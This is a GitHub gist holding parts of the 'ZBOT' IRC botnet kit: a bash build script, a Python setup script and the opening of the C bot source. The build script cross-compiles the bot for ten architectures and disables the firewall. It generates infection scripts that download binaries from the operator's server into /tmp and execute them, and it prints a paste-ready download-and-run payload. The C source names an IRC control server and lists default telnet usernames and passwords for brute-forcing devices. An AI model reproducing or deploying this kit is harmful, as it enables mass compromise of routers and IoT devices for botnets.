Last active
April 10, 2021 18:08
-
-
Save nl5887/17df846ec6654d705e348049687b0725 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Thank you for using zbot/zeus botnet | |
# ZBOT: https://github.com/codingplanets/ZBOT-Botnet | |
# Usages: ./zbot-build zbot.c | |
# | |
######################################### | |
###############ARCH NAMES################ | |
######################################### | |
L1='zbotmipsel' #mipsel | |
L2='zbotmips' #mips | |
L3='zbotsh4' #sh4 | |
L4='zbotx86' #x86_64 | |
L5='zbotarmv6' #armv6l | |
L6='zboti686' #i686 | |
L7='zbotpowerpc' #powerpc | |
L8='zboti586' #i586 | |
L9='zbotm86k' #m86k | |
L10='zbotsparc' #sparc | |
######################################### | |
##############ARCH LINKS################# | |
######################################### | |
mips='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2' | |
mipsel='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2' | |
sh4='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2' | |
x86_64='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2' | |
armv6l='http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2' | |
i686='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2' | |
ppc='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2' | |
i586='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2' | |
m68k='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2' | |
sparc='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2' | |
yum install tar -y | |
######################################### | |
#########EXTRACTION OF ARCHS############# | |
######################################### | |
if [ -d cross-compiler-mips ] | |
then | |
echo -e "\e[0;31mcross-compiler-mips is present, no need for wget" | |
else | |
wget --quiet $mips --no-check-certificate | |
tar -xvjf cross-compiler-mips* | |
fi | |
if [ -d cross-compiler-mipsel ] | |
then | |
echo -e "\e[0;31mcross-compiler-mipsel is present, no need for wget" | |
else | |
wget --quiet $mipsel --no-check-certificate | |
tar -xvjf cross-compiler-mipsel* | |
fi | |
if [ -d cross-compiler-sh4 ] | |
then | |
echo -e "\e[0;31mcross-compiler-sh4 is present, no need for wget" | |
else | |
wget --quiet $sh4 --no-check-certificate | |
tar -xvjf cross-compiler-sh4* | |
fi | |
if [ -d cross-compiler-x86_64 ] | |
then | |
echo -e "\e[0;31mcross-compiler-x86_64 is present, no need for wget" | |
else | |
wget --quiet $x86_64 --no-check-certificate | |
tar -xvjf cross-compiler-x86_64* | |
fi | |
if [ -d cross-compiler-armv6l ] | |
then | |
echo -e "\e[0;31mcross-compiler-armv6l is present, no need for wget" | |
else | |
wget --quiet $armv6l --no-check-certificate | |
tar -xvjf cross-compiler-armv6l* | |
fi | |
if [ -d cross-compiler-powerpc ] | |
then | |
echo -e "\e[0;31mcross-compiler-powerpc is present, no need for wget" | |
else | |
wget --quiet $ppc --no-check-certificate | |
tar -xvjf cross-compiler-powerpc* | |
fi | |
if [ -d cross-compiler-m68k ] | |
then | |
echo -e "\e[0;31mcross-compiler-m68k is present, no need for wget" | |
else | |
wget --quiet $m68k --no-check-certificate | |
tar -xvjf cross-compiler-m68k* | |
fi | |
if [ -d cross-compiler-sparc ] | |
then | |
echo -e "\e[0;31mcross-compiler-sparc is present, no need for wget" | |
else | |
wget --quiet $sparc --no-check-certificate | |
tar -xvjf cross-compiler-sparc* | |
fi | |
if [ -d cross-compiler-i586 ] | |
then | |
echo -e "\e[0;31mcross-compiler-i586 is present, no need for wget" | |
else | |
wget --quiet $i586 --no-check-certificate | |
tar -xvjf cross-compiler-i586* | |
fi | |
if [ -d cross-compiler-i686 ] | |
then | |
echo -e "\e[0;31mcross-compiler-i686 is present, no need for wget" | |
else | |
wget --quiet $i686 --no-check-certificate | |
tar -xvjf cross-compiler-i686* | |
fi | |
rm -rf *.tar.bz2 | |
echo -e "\x1b[31mCross compilers downloaded and extracted..." | |
echo -e "\x1b[31mNow are about to compile zbot.c..." | |
sleep 3 | |
######################################### | |
#########COMPILING OF ZBOT############### | |
######################################### | |
./cross-compiler-mipsel/bin/mipsel-gcc -static -lpthread -pthread -DMIPSEL -o $L1 $1 > /dev/null 2>&1 | |
./cross-compiler-mips/bin/mips-gcc -static -lpthread -pthread -Dmips -o $L2 $1 > /dev/null 2>&1 | |
./cross-compiler-sh4/bin/sh4-gcc -static -lpthread -pthread -Dsh4 -o $L3 $1 > /dev/null 2>&1 | |
./cross-compiler-x86_64/bin/x86_64-gcc -static -lpthread -pthread -Dx86_64 -o $L4 $1 > /dev/null 2>&1 | |
./cross-compiler-armv6l/bin/armv6l-gcc -static -lpthread -pthread -Darmv6l -o $L5 $1 > /dev/null 2>&1 | |
./cross-compiler-i686/bin/i686-gcc -static -lpthread -pthread -Di686 -o $L6 $1 > /dev/null 2>&1 | |
./cross-compiler-powerpc/bin/powerpc-gcc -static -lpthread -pthread -Dpowerpc -o $L7 $1 > /dev/null 2>&1 | |
./cross-compiler-i586/bin/i586-gcc -static -lpthread -pthread -Di586 -o $L8 $1 > /dev/null 2>&1 | |
./cross-compiler-m86k/bin/m86k-gcc -static -lpthread -pthread -Dm86k -o $L9 $1 > /dev/null 2>&1 | |
./cross-compiler-sparc/bin/sparc-gcc -static -lpthread -pthread -Dsparc -o $L10 $1 > /dev/null 2>&1 | |
apt-get install apache2; apt-get install php5 -y -q | |
yum install httpd; yum install php -y -q | |
mv zbot* /var/www/html/ | |
echo -e "\x1b[31mRestarting httpd..." | |
service httpd start | |
service apache2 restart | |
######################################### | |
#########SETTING UP zbot.sh############## | |
######################################### | |
#cd /var/www/html/; rm -rf zbot.sh | |
cd /var/www/html/; touch zbot.sh | |
echo -e "\x1b[31mSetting up zbot.sh..." | |
echo -e "\x1b[31mPlease wait a solitary minute..." | |
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L1 && chmod +x $L1 && ./$L1">> zbot.sh | |
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L2 && chmod +x $L2 && ./$L2">> zbot.sh | |
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L3 && chmod +x $L3 && ./$L3">> zbot.sh | |
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L4 && chmod +x $L4 && ./$L4">> zbot.sh | |
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L5 && chmod +x $L5 && ./$L5">> zbot.sh | |
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L6 && chmod +x $L6 && ./$L6">> zbot.sh | |
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L7 && chmod +x $L7 && ./$L7">> zbot.sh | |
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L8 && chmod +x $L8 && ./$L8">> zbot.sh | |
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L9 && chmod +x $L9 && ./$L9">> zbot.sh | |
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L10 && chmod +x $L10 && ./$L10">> zbot.sh | |
yum install xinetd tftp tftp-server -y | |
echo -e "# default: off | |
# description: The tftp server serves files using the trivial file transfer \ | |
# protocol. The tftp protocol is often used to boot diskless \ | |
# workstations, download configuration files to network-aware printers, \ | |
# and to start the installation process for some operating systems. | |
service tftp | |
{ | |
socket_type = dgram | |
protocol = udp | |
wait = yes | |
user = root | |
server = /usr/sbin/in.tftpd | |
server_args = -s -c /var/lib/tftpboot | |
disable = no | |
per_source = 11 | |
cps = 100 2 | |
flags = IPv4 | |
} | |
" >> /etc/xinetd.d/tftp | |
service xinetd start | |
cp zbot* /var/lib/tftpboot/ | |
######################################### | |
#########SETTING UP tftp.sh############## | |
######################################### | |
cd /var/lib/tftpboot; rm -rf tftp1.sh | |
cd /var/lib/tftpboot; touch tftp1.sh | |
echo -e "\x1b[31mSetting up tftp1.sh..." | |
echo -e "\x1b[31mPlease wait a solitary minute..." | |
echo "cp /bin/busybox -O /tmp/badbox">> tftp1.sh | |
echo "tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get $L1;cat $L1 >badbox;chmod +x *;./badbox">> tftp1.sh | |
echo "tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get $L2;cat $L2 >badbox;chmod +x *;./badbox">> tftp1.sh | |
echo "tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get $L3;cat $L3 >badbox;chmod +x *;./badbox">> tftp1.sh | |
echo "tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get $L4;cat $L4 >badbox;chmod +x *;./badbox">> tftp1.sh | |
echo "tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get $L5;cat $L5 >badbox;chmod +x *;./badbox">> tftp1.sh | |
echo "tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get $L6;cat $L6 >badbox;chmod +x *;./badbox">> tftp1.sh | |
echo "tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get $L7;cat $L7 >badbox;chmod +x *;./badbox">> tftp1.sh | |
echo "tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get $L8;cat $L8 >badbox;chmod +x *;./badbox">> tftp1.sh | |
echo "tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get $L9;cat $L9 >badbox;chmod +x *;./badbox">> tftp1.sh | |
echo "tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get $L10;cat $L10 >badbox;chmod +x *;./badbox">> tftp1.sh | |
######################################### | |
#########SETTING UP tftp2.sh############# | |
######################################### | |
cd /var/lib/tftpboot; rm -rf tftp2.sh | |
cd /var/lib/tftpboot; touch tftp2.sh | |
echo -e "\x1b[31mSetting up tftp2.sh..." | |
echo -e "\x1b[31mPlease wait a solitary minute..." | |
echo "cp /bin/busybox -O /tmp/badbox">> tftp2.sh | |
echo "tp -r $L1 -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//');cat $L1 >badbox;chmod +x *;./badbox">> tftp2.sh | |
echo "tp -r $L2 -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//');cat $L2 >badbox;chmod +x *;./badbox">> tftp2.sh | |
echo "tp -r $L3 -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//');cat $L3 >badbox;chmod +x *;./badbox">> tftp2.sh | |
echo "tp -r $L4 -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//');cat $L4 >badbox;chmod +x *;./badbox">> tftp2.sh | |
echo "tp -r $L5 -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//');cat $L5 >badbox;chmod +x *;./badbox">> tftp2.sh | |
echo "tp -r $L6 -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//');cat $L6 >badbox;chmod +x *;./badbox">> tftp2.sh | |
echo "tp -r $L7 -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//');cat $L7 >badbox;chmod +x *;./badbox">> tftp2.sh | |
echo "tp -r $L8 -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//');cat $L8 >badbox;chmod +x *;./badbox">> tftp2.sh | |
echo "tp -r $L9 -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//');cat $L9 >badbox;chmod +x *;./badbox">> tftp2.sh | |
echo "tp -r $L10 -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//');cat $L10 >badbox;chmod +x *;./badbox">> tftp2.sh | |
######################################### | |
###########RESTARTING SERVICES########### | |
######################################### | |
echo -e'\x1b[34mStopping iptables...' | |
service iptables stop | |
chkconfig iptables off | |
echo -e'\x1b[34mRestarting httpd...' | |
service httpd restart | |
echo -e'\x1b[34mRestarting xinetd...' | |
service xinetd restart | |
echo -e "\x1b[32m[+] Success in compiling.. Please wait for payload... [+]" | |
echo -e "\x1b[32mPayload: cd /tmp; wget http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/zbot.sh || curl -O http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/zbot.sh; chmod 777 zbot.sh; sh zbot.sh; busybox tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; busybox tftp -r tftp2.sh -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//'); chmod 777 tftp2.sh; sh tftp2.sh; rm -rf zbot.sh tftp1.sh tftp2.sh\r\n" | |
echo -e "\x1b[32m[+] zbot.c is now successfully compiled!" | |
echo -e "\x1b[32m It is now time for Unreal3.2 to be compiled..." | |
#cd /var/www/html/;rm -rf *c | |
cd /ZBOT-Botnet* | |
ulimit -Hn 999999; ulimit -Sn 99999 | |
ulimit -u 999999;ulimit -n 999999 | |
sysctl -w fs.file-max=999999 >/dev/null | |
echo "#.bashrc">> .bashrc | |
echo "#ulimit set">> .bashrc | |
echo "ulimit -u 999999">> .bashrc | |
echo "ulimit -n 999999">> .bashrc | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# Thank you for using zbot/zeus botnet | |
# ZBOT: https://github.com/codingplanets/ZBOT-Botnet | |
# Usages: python zbot-setup.py | |
# | |
import subprocess, sys, os | |
print "Installing modules" | |
#os.system("yum install nano -y") | |
#os.system("yum install screen -y") | |
#os.system("yum install nc -y") | |
#os.system("yum install httpd -y") | |
#os.system("yum install xinetd -y") | |
#os.system("yum install vsftpd -y") | |
#os.system("yum install wget -y") | |
#os.system("yum install gcc -y") | |
#os.system("yum install python-paramiko -y") | |
#os.system("yum install dos2unix -y") | |
#os.system("yum install unzip -y") | |
print "Loading iptables and ulimits" | |
os.system("service httpd start") | |
os.system("service iptables stop") | |
os.system("service xinetd start") | |
os.system("service vsftpd start") | |
os.system("iptables -F") | |
print '''\x1b[0;32m | |
Please configure zbot.c by filling out configuration | |
section before pressing enter. | |
\x1b[0m''' | |
raw_input("Press Enter to continue...") | |
os.system("chmod +x zbot-build") | |
os.system("./zbot-build zbot.c") | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//Makonix=Nipsu=Nutflix&Chill LOL | |
#undef IDENT | |
#define FAKENAME "-amadz" | |
#define CHAN "#hide" | |
#define KEY "" | |
#define PORT "3636" | |
#define PASS "" | |
#define STD2_STRING "dts" | |
#define STD2_SIZE 50 | |
#define PREFIX "[AS-ARMY]" | |
#define PR_SET_NAME 15 | |
#define PAD_RIGHT 1 | |
#define PAD_ZERO 2 | |
#define PRINT_BUF_LEN 12 | |
#define CMD_IAC 255 | |
#define CMD_WILL 251 | |
#define CMD_WONT 252 | |
#define CMD_DO 253 | |
#define CMD_DONT 254 | |
#define OPT_SGA 3 | |
int numservers=1; | |
char *servers[] = { | |
"prox.realunix.cc", | |
(void*)0 | |
}; | |
#include <stdarg.h> | |
#include <errno.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <sys/types.h> | |
#include <sys/stat.h> | |
#include <fcntl.h> | |
#include <strings.h> | |
#include <netinet/in.h> | |
#include <unistd.h> | |
#include <sys/time.h> | |
#include <sys/socket.h> | |
#include <signal.h> | |
#include <arpa/inet.h> | |
#include <netdb.h> | |
#include <time.h> | |
#include <sys/wait.h> | |
#include <sys/ioctl.h> | |
#include <net/if.h> | |
#include <netinet/tcp.h> | |
#include <netinet/udp.h> | |
#include <netinet/ip.h> | |
#include <sys/utsname.h> | |
char *usernames[] = {"root\0", "admin\0", "user\0", "login\0", "guest\0", "support\0", "cisco\0"}; | |
char *passwords[] = {"root\0", "toor\0", "admin\0", "user\0", "guest\0", "login\0", "changeme\0", "1234\0", "12345\0", "123456\0", "default\0", "pass\0", "password\0", "support\0", "vizxv\0", "cisco\0"}; | |
char *useragents[] = { | |
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1", | |
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5", | |
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11", | |
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2", | |
"Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1", | |
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11", | |
"Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1", | |
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5", | |
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)", | |
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1", | |
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5", | |
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11", | |
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5", | |
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11", | |
"Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1", | |
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1", | |
"Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3", | |
"Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]", | |
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0", | |
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2", | |
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6", | |
"Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3", | |
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)", | |
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11", | |
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)", | |
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11", | |
"Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1", | |
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)", | |
"Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02", | |
"Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60", | |
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0", | |
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)", | |
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)", | |
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)", | |
"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1", | |
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1", | |
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1", | |
"Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre", | |
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5", | |
"Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0", | |
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)", | |
"Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0", | |
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)", | |
"Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1", | |
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)", | |
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4", | |
"Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1", | |
}; | |
int sock,changeservers=0; | |
char *server, *chan, *key, *nick, *ident, *prefix, *user, *pass, disabled=0, udpTry = 0, *adminuser1="Void"; | |
unsigned int *pids; | |
uint32_t scanPid; | |
unsigned long spoofs=0, spoofsm=0, numpids=0; | |
int strwildmatch(unsigned char* pattern, unsigned char* string) { | |
switch((unsigned char)*pattern) { | |
case '\0': return *string; | |
case 'b': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1)); | |
case 'o': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1)); | |
case 't': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1)); | |
case 'B': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1)); | |
case 'O': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1)); | |
case 'T': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1)); | |
case '?': return !(*string && !strwildmatch(pattern+1, string+1)); | |
default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1)); | |
} | |
} | |
void trim(char *str) | |
{ | |
int i; | |
int begin = 0; | |
int end = strlen(str) - 1; | |
while (isspace(str[begin])) begin++; | |
while ((end >= begin) && isspace(str[end])) end--; | |
for (i = begin; i <= end; i++) str[i - begin] = str[i]; | |
str[i - begin] = '\0'; | |
} | |
static void printchar(unsigned char **str, int c) | |
{ | |
if (str) { | |
**str = c; | |
++(*str); | |
} | |
else (void)write(1, &c, 1); | |
} | |
static int prints(unsigned char **out, const unsigned char *string, int width, int pad) | |
{ | |
register int pc = 0, padchar = ' '; | |
if (width > 0) { | |
register int len = 0; | |
register const unsigned char *ptr; | |
for (ptr = string; *ptr; ++ptr) ++len; | |
if (len >= width) width = 0; | |
else width -= len; | |
if (pad & PAD_ZERO) padchar = '0'; | |
} | |
if (!(pad & PAD_RIGHT)) { | |
for ( ; width > 0; --width) { | |
printchar (out, padchar); | |
++pc; | |
} | |
} | |
for ( ; *string ; ++string) { | |
printchar (out, *string); | |
++pc; | |
} | |
for ( ; width > 0; --width) { | |
printchar (out, padchar); | |
++pc; | |
} | |
return pc; | |
} | |
static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase) | |
{ | |
unsigned char print_buf[PRINT_BUF_LEN]; | |
register unsigned char *s; | |
register int t, neg = 0, pc = 0; | |
register unsigned int u = i; | |
if (i == 0) { | |
print_buf[0] = '0'; | |
print_buf[1] = '\0'; | |
return prints (out, print_buf, width, pad); | |
} | |
if (sg && b == 10 && i < 0) { | |
neg = 1; | |
u = -i; | |
} | |
s = print_buf + PRINT_BUF_LEN-1; | |
*s = '\0'; | |
while (u) { | |
t = u % b; | |
if( t >= 10 ) | |
t += letbase - '0' - 10; | |
*--s = t + '0'; | |
u /= b; | |
} | |
if (neg) { | |
if( width && (pad & PAD_ZERO) ) { | |
printchar (out, '-'); | |
++pc; | |
--width; | |
} | |
else { | |
*--s = '-'; | |
} | |
} | |
return pc + prints (out, s, width, pad); | |
} | |
static int print(unsigned char **out, const unsigned char *format, va_list args ) | |
{ | |
register int width, pad; | |
register int pc = 0; | |
unsigned char scr[2]; | |
for (; *format != 0; ++format) { | |
if (*format == '%') { | |
++format; | |
width = pad = 0; | |
if (*format == '\0') break; | |
if (*format == '%') goto out; | |
if (*format == '-') { | |
++format; | |
pad = PAD_RIGHT; | |
} | |
while (*format == '0') { | |
++format; | |
pad |= PAD_ZERO; | |
} | |
for ( ; *format >= '0' && *format <= '9'; ++format) { | |
width *= 10; | |
width += *format - '0'; | |
} | |
if( *format == 's' ) { | |
register char *s = (char *)va_arg( args, int ); | |
pc += prints (out, s?s:"(null)", width, pad); | |
continue; | |
} | |
if( *format == 'd' ) { | |
pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a'); | |
continue; | |
} | |
if( *format == 'x' ) { | |
pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a'); | |
continue; | |
} | |
if( *format == 'X' ) { | |
pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A'); | |
continue; | |
} | |
if( *format == 'u' ) { | |
pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a'); | |
continue; | |
} | |
if( *format == 'c' ) { | |
scr[0] = (unsigned char)va_arg( args, int ); | |
scr[1] = '\0'; | |
pc += prints (out, scr, width, pad); | |
continue; | |
} | |
} | |
else { | |
out: | |
printchar (out, *format); | |
++pc; | |
} | |
} | |
if (out) **out = '\0'; | |
va_end( args ); | |
return pc; | |
} | |
int szprintf(unsigned char *out, const unsigned char *format, ...) | |
{ | |
va_list args; | |
va_start( args, format ); | |
return print( &out, format, args ); | |
} | |
int negotiate(int sock, unsigned char *buf, int len) | |
{ | |
unsigned char c; | |
switch (buf[1]) { | |
case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0; | |
case CMD_WILL: | |
case CMD_WONT: | |
case CMD_DO: | |
case CMD_DONT: | |
c = CMD_IAC; | |
send(sock, &c, 1, MSG_NOSIGNAL); | |
if (CMD_WONT == buf[1]) c = CMD_DONT; | |
else if (CMD_DONT == buf[1]) c = CMD_WONT; | |
else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO); | |
else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT); | |
send(sock, &c, 1, MSG_NOSIGNAL); | |
send(sock, &(buf[2]), 1, MSG_NOSIGNAL); | |
break; | |
default: | |
break; | |
} | |
return 0; | |
} | |
int sclose(int fd) | |
{ | |
if(3 > fd) return 1; | |
close(fd); | |
return 0; | |
} | |
int Send(int sock, char *words, ...) { | |
static char textBuffer[1024]; | |
va_list args; | |
va_start(args, words); | |
vsprintf(textBuffer, words, args); | |
va_end(args); | |
return write(sock,textBuffer,strlen(textBuffer)); | |
} | |
